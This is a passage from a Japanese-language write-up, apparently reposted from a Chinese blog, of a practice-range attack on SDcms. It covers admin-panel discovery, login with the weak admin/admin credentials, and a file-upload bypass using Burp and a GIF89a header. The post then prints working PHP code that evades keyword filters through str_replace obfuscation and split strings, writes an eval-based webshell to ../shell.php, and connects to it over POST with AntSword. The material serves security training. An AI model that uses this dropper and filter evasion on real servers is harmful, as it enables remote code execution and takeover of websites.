射撃場練習 - SDcmsファイルアップロード脆弱性射撃場


序文

今回はファイルアップロード脆弱性対策射撃場シリーズであるSDcms射撃場で練習しました。


1. Web サイトのバックエンド ページを見つけます。

1. クリックしてログインし、URL を表示します。

ここに画像の説明を挿入します
図に示すように、ログイン ページのパラメータは?m=login です。

2. URL パラメータを変更し、バックエンドのログイン ページを見つけます。

以下に示すように、上記の URL のログイン パラメータを admin に変更してみてください。入力は成功します。
ここに画像の説明を挿入します


2. バックエンド管理システムにログインします。

1.爆発は使用できません

ここでの最初の反応は、アカウントとパスワードの爆破を使用することでしたが、アクセスされる IP に制限があり、不正アクセスの回数を超えるとログインが制限されることがわかりました。
ここに画像の説明を挿入します

2. 弱いパスワードを使用してログインします

アカウントのパスワード admin/admin を使用して、Web サイトのバックエンドにログインします。


3. ファイルのアップロードポイントを見つける

ここに画像の説明を挿入します
図に示すように、ファイルのアップロード ポイントを見つけます。


4. ファイルのアップロード操作

1. 通常の画像ファイルをアップロードし、データパッケージを表示します

ここに画像の説明を挿入します
図に示すように、ファイルをアップロードするパスを見つけます: /upfile/2023/09/

2. PHP ファイルをアップロードしてみます

Burp で .jpg を .php に変更し、GIF89a ヘッダーをファイルのコンテンツに追加すると、php ファイルが正常にアップロードできることがわかります。
ここに画像の説明を挿入します

アップロードされた PHP ファイルにアクセスしようとしました
ここに画像の説明を挿入します
。アクセスは成功しました。

3. phpinfo() 関数をアップロードしてシステムのバージョン情報を取得します

ここに画像の説明を挿入します
アップロードが失敗したことがわかります。これは、ここでフィルタリングがあり、phpinfo 関数がフィルタリングされていることを意味します。

4. バイパスフィルタリング

str_replace 関数を使用してフィルタリングをバイパスします。方法は次のとおりです:
ここに画像の説明を挿入します
バイパス成功

Web ページを開いて表示します
ここに画像の説明を挿入します

如下是绕过代码:

<?php
	$a = str_replace("0","","p0h0p0i0n0f0o");
	$a();
?>

5. Webシェルをアップロードしてみる

1. PHPバージョンに関する注意事項

上記からわかるように、射撃場で使用されている PHP のバージョンは 7.4.3 です。このバージョンでは、assert() 関数が使用できないため、eval を使用してシェルを取得することしかできませんが、str_replace を使用して eval を有効にすることはできません。上記の方法。
方法を考えたのですが、str_replaceメソッドではevalを回避できないので、PHPの共通ファイルを使って普通のファイルを実行してシェルファイルを作成してはどうでしょうか?

2. 上のディレクトリにファイルを作成してみます

以下に示すように、アップロードに失敗したことがわかりました
ここに画像の説明を挿入します
。テストの結果、fopen() 関数と file_put_contents() 関数もフィルタリングされていることがわかりました。他に方法がないため、この 2 つの関数をバイパスしました。方法としては、
ここに画像の説明を挿入します
アップロードしたPHPファイルをブラウザで開き、ファイルを実行して、上司がshell.phpファイルを生成したかどうかを確認し、アクセスできれば
ここに画像の説明を挿入します
ここに画像の説明を挿入します
shell.phpファイルが生成されているということになります。無事に生成されました。

3. シェルへの書き込み

内部の $data パラメータをシェルに置き換えます。
ここに画像の説明を挿入します

eval キーワードはこの方法でも検出できることがわかりました。しかし、これは単なる文字列なので、$data コンテンツを eval を中心とする 2 つの部分に分割し、再度マージするだけです。

ここに画像の説明を挿入します

4. テストシェル

アップロードした PHP ファイルをブラウザで開き、実行します。
ここに画像の説明を挿入します

次に、WebShell ツールを使用して接続し、
ここに画像の説明を挿入します
接続が成功したかどうかをテストします。

编写后的绕过代码:

GIF89a
<?php
	$filename = "../shell.php";
	$data1 = '<?php class ok{var $arg;function setarg($x){$this->arg = "".$x.null;return $this->arg;}function setarg1($x){$this->arg = "".$this->setarg($x).null;}function go(){ev';

	$data2 = 'al("$this->arg");}}$arr = array($_POST["x"]);$run = new ok;$run->setarg1($arr[0]);$run->go(); ?>';

	$data = $data1.$data2;

	$a = "f0o0p0e0n";
	$open = str_replace("0","",$a);
	$file = $open($filename,"w");

	$b = "f0i0l0e_p0u0t_contents";
	$write = str_replace("0","",$b);
	$write($filename, $data);

	fclose($file);
?>

注: ここのシェルでは POST を使用する必要があり、GET Ant Sword を使用して接続することはできません。


Supongo que te gusta

Origin blog.csdn.net/p36273/article/details/132897880
Recomendado
Clasificación